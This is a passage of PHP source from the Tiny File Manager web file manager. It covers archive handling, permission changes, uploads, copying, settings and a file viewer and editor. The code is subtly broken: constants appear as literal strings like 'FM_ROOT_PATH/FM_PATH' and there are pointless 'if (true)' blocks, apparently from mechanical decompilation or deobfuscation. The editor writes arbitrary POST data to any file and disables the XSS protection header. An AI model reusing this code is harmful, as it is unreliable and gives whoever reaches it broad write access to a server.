if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if ($ext == "zip" && !class_exists('ZipArchive') || $ext == "tar" && !class_exists('PharData')) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.' . $ext;
}
if ($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if ($ext == "zip" && !class_exists('ZipArchive') || $ext == "tar" && !class_exists('PharData')) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if ($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path, null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode = 256;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 040;
}
if (!empty($_POST['gw'])) {
$mode |= 020;
}
if (!empty($_POST['gx'])) {
$mode |= 010;
}
if (!empty($_POST['or'])) {
$mode |= 04;
}
if (!empty($_POST['ow'])) {
$mode |= 02;
}
if (!empty($_POST['ox'])) {
$mode |= 01;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// check path
if (!is_dir($path)) {
fm_redirect("FM_SELF_URL?p=");
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
//get the allowed file extensions
function getUploadExt()
{
$extArr = array(0 => "FM_UPLOAD_EXTENSION");
if (true) {
array_walk($extArr, function (&$x) {
$x = ".{$x}";
});
return "FM_UPLOAD_EXTENSION";
}
return "";
}
?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php
echo fm_get_theme();
?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php
echo lng('UploadingFiles');
?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php
echo "FM_PATH";
?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php
echo lng('Back');
?></a>
<?php
echo lng('DestinationFolder');
?>: <?php
echo fm_enc(fm_convert_win(FM_PATH));
?>
</p>
<form action="<?php
echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH);
?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php
echo fm_enc(FM_PATH);
?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 100%">
<button type="submit" class="btn btn-primary ml-3"><?php
echo lng('Upload');
?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: 10000000,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1, // does not support more than 1!
timeout: 120000,
maxFilesize: 10000000000,
acceptedFiles : "<?php
echo getUploadExt();
?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
?>
<div class="path">
<div class="card <?php
echo fm_get_theme();
?>">
<div class="card-header">
<h6><?php
echo lng('Copying');
?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><?php
echo lng('Files');
?>: <b><?php
echo implode('</b>, <b>', $copy_files);
?></b></p>
<p class="break-word"><?php
echo lng('SourceFolder');
?>: <?php
echo fm_enc(fm_convert_win("FM_ROOT_PATH/FM_PATH"));
?><br>
<label for="inp_copy_to"><?php
echo lng('DestinationFolder');
?>:</label>
<?php
echo "FM_ROOT_PATH";
?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php
echo fm_enc(FM_PATH);
?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php
echo lng('Move');
?></label></p>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php
echo lng('Copy');
?></button>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php
echo lng('Cancel');
?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists("FM_ROOT_PATH/" . $copy)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
Source path: <?php
echo fm_enc(fm_convert_win("FM_ROOT_PATH/" . $copy));
?><br>
Destination folder: <?php
echo fm_enc(fm_convert_win("FM_ROOT_PATH/FM_PATH"));
?>
</p>
<p>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode($copy);
?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode($copy);
?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php
echo lng('Select folder');
?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php
echo urlencode($parent);
?>&copy=<?php
echo urlencode($copy);
?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>&copy=<?php
echo urlencode($copy);
?>"><i class="fa fa-folder-o"></i> <?php
echo fm_convert_win($f);
?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) && !FM_READONLY) {
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php
echo fm_get_theme();
?>">
<h6 class="card-header">
<i class="fa fa-cog"></i> <?php
echo lng('Settings');
?>
<a href="?p=<?php
echo "FM_PATH";
?>" class="float-right"><i class="fa fa-window-close"></i> <?php
echo lng('Cancel');
?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php
echo lng('Language');
?></label>
<div class="col-sm-5">
<select class="form-control" id="js-language" name="js-language">
<?php
function getSelected($l)
{
global $lang;
return $lang == $l ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='{$k}' " . getSelected($k) . ">{$v}</option>";
}
?>
</select>
</div>
</div>
<?php
//get ON/OFF and active class
function getChecked($conf, $val, $txt)
{
if ($conf == 1 && $val == 1) {
return $txt;
} else {
if ($conf == '' && $val == '') {
return $txt;
} else {
return "";
}
}
}
?>
<div class="form-group row">
<label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php
echo lng('ErrorReporting');
?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php
echo getChecked($report_errors, 1, 'active');
?>">
<input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php
echo getChecked($report_errors, 1, 'checked');
?> > ON
</label>
<label class="btn btn-secondary <?php
echo getChecked($report_errors, '', 'active');
?>">
<input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php
echo getChecked($report_errors, '', 'checked');
?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hdn-1" class="col-sm-3 col-form-label"><?php
echo lng('ShowHiddenFiles');
?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php
echo getChecked($show_hidden_files, 1, 'active');
?>">
<input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php
echo getChecked($show_hidden_files, 1, 'checked');
?> > ON
</label>
<label class="btn btn-secondary <?php
echo getChecked($show_hidden_files, '', 'active');
?>">
<input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php
echo getChecked($show_hidden_files, '', 'checked');
?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-hid-1" class="col-sm-3 col-form-label"><?php
echo lng('HideColumns');
?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php
echo getChecked($hide_Cols, 1, 'active');
?>">
<input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php
echo getChecked($hide_Cols, 1, 'checked');
?> > ON
</label>
<label class="btn btn-secondary <?php
echo getChecked($hide_Cols, '', 'active');
?>">
<input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php
echo getChecked($hide_Cols, '', 'checked');
?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-dir-1" class="col-sm-3 col-form-label"><?php
echo lng('CalculateFolderSize');
?></label>
<div class="col-sm-9">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-secondary <?php
echo getChecked($calc_folder, 1, 'active');
?>">
<input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php
echo getChecked($calc_folder, 1, 'checked');
?> > ON
</label>
<label class="btn btn-secondary <?php
echo getChecked($calc_folder, '', 'active');
?>">
<input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php
echo getChecked($calc_folder, '', 'checked');
?> > OFF
</label>
</div>
</div>
</div>
<div class="form-group row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php
echo lng('Theme');
?></label>
<div class="col-sm-5">
<select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;">
<option value='light' <?php
if ($theme == "light") {
echo "selected";
}
?>><?php
echo lng('light');
?></option>
<option value='dark' <?php
if ($theme == "dark") {
echo "selected";
}
?>><?php
echo lng('dark');
?></option>
</select>
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php
echo lng('Save');
?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php
echo fm_get_theme();
?>">
<h6 class="card-header">
<i class="fa fa-exclamation-circle"></i> <?php
echo lng('Help');
?>
<a href="?p=<?php
echo "FM_PATH";
?>" class="float-right"><i class="fa fa-window-close"></i> <?php
echo lng('Cancel');
?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php
echo "2.4.7";
?></a></h3></p>
<p>Author: Prasath Mani</p>
<p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php
echo lng('Help Documents');
?> </a> </li>
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php
echo lng('Report Issue');
?></a></li>
<li class="list-group-item"><a href="javascript:latest_release_info('<?php
echo "2.4.7";
?>');"><i class="fa fa-link"> </i> <?php
echo lng('Check Latest Version');
?></a></li>
<?php
if (!FM_READONLY) {
?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php
echo lng('Generate new password hash');
?></a></li>
<?php
}
?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php
echo lng('Generate new password hash');
?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php
echo lng('Password');
?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php
echo lng('Generate');
?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET['view'])) {
$file = $_GET['view'];
$quickView = isset($_GET['quickView']) && $_GET['quickView'] == 1 ? true : false;
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
if (!$quickView) {
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
}
$file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false;
// for zip
$content = '';
// for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
$is_onlineViewer = true;
} elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<?php
if (!$quickView) {
?>
<p class="break-word"><b><?php
echo $view_title;
?> "<?php
echo fm_enc(fm_convert_win($file));
?>"</b></p>
<p class="break-word">
Full path: <?php
echo fm_enc(fm_convert_win($file_path));
?><br>
File size: <?php
echo $filesize_raw <= 1000 ? "{$filesize_raw} bytes" : $filesize;
?><br>
MIME-type: <?php
echo $mime_type;
?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
Files in archive: <?php
echo $total_files;
?><br>
Total size: <?php
echo fm_get_filesize($total_uncomp);
?><br>
Size in archive: <?php
echo fm_get_filesize($total_comp);
?><br>
Compression: <?php
echo round($total_comp / $total_uncomp * 100);
?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<p>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&dl=<?php
echo urlencode($file);
?>"><i class="fa fa-cloud-download"></i> <?php
echo lng('Download');
?></a></b>
<b><a href="<?php
echo fm_enc($file_url);
?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php
echo lng('Open');
?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&unzip=<?php
echo urlencode($file);
?>"><i class="fa fa-check-circle"></i> <?php
echo lng('UnZip');
?></a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&unzip=<?php
echo urlencode($file);
?>&tofolder=1" title="UnZip to <?php
echo fm_enc($zip_name);
?>"><i class="fa fa-check-circle"></i>
<?php
echo lng('UnZipToFolder');
?></a></b>
<?php
}
if ($is_text && !FM_READONLY) {
?>
<b><a href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php
echo lng('Edit');
?>
</a></b>
<b><a href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php
echo lng('AdvancedEditor');
?>
</a></b>
<?php
}
?>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php
echo lng('Back');
?></a></b>
</p>
<?php
}
if ($is_onlineViewer) {
if ($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else {
if ($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo "<code class=\"maxheight\">";
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fm_enc($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo "</code>";
} else {
echo '<p>' . lng('Error while fetching archive info') . '</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
}
} elseif ($is_audio) {
echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml');
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fm_enc($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
if (!$quickView) {
fm_show_footer();
}
exit;
}
// file editor
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
$editFile = ' : <i><b>' . $file . '</b></i>';
header('X-XSS-Protection:0');
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
$file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = '';
// for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php
if (!$isNormalEditor) {
?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
<button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
<select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
<select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
</div>
<?php
}
?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
<a title="<?php
echo lng('Back');
?>" class="btn btn-sm btn-outline-primary" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&view=<?php
echo urlencode($file);
?>"><i class="fa fa-reply-all"></i> <?php
echo lng('Back');
?></a>
<a title="<?php
echo lng('BackUp');
?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php
echo urlencode(trim(FM_PATH));
?>','<?php
echo urlencode($file);
?>')"><i class="fa fa-database"></i> <?php
echo lng('BackUp');
?></a>
<?php
if ($is_text) {
?>
<?php
if ($isNormalEditor) {
?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php
echo lng('AdvancedEditor');
?></a>
<button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php
echo fm_enc($file_url);
?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php
} else {
?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>"><i class="fa fa-text-height"></i> <?php
echo lng('NormalEditor');
?></a>
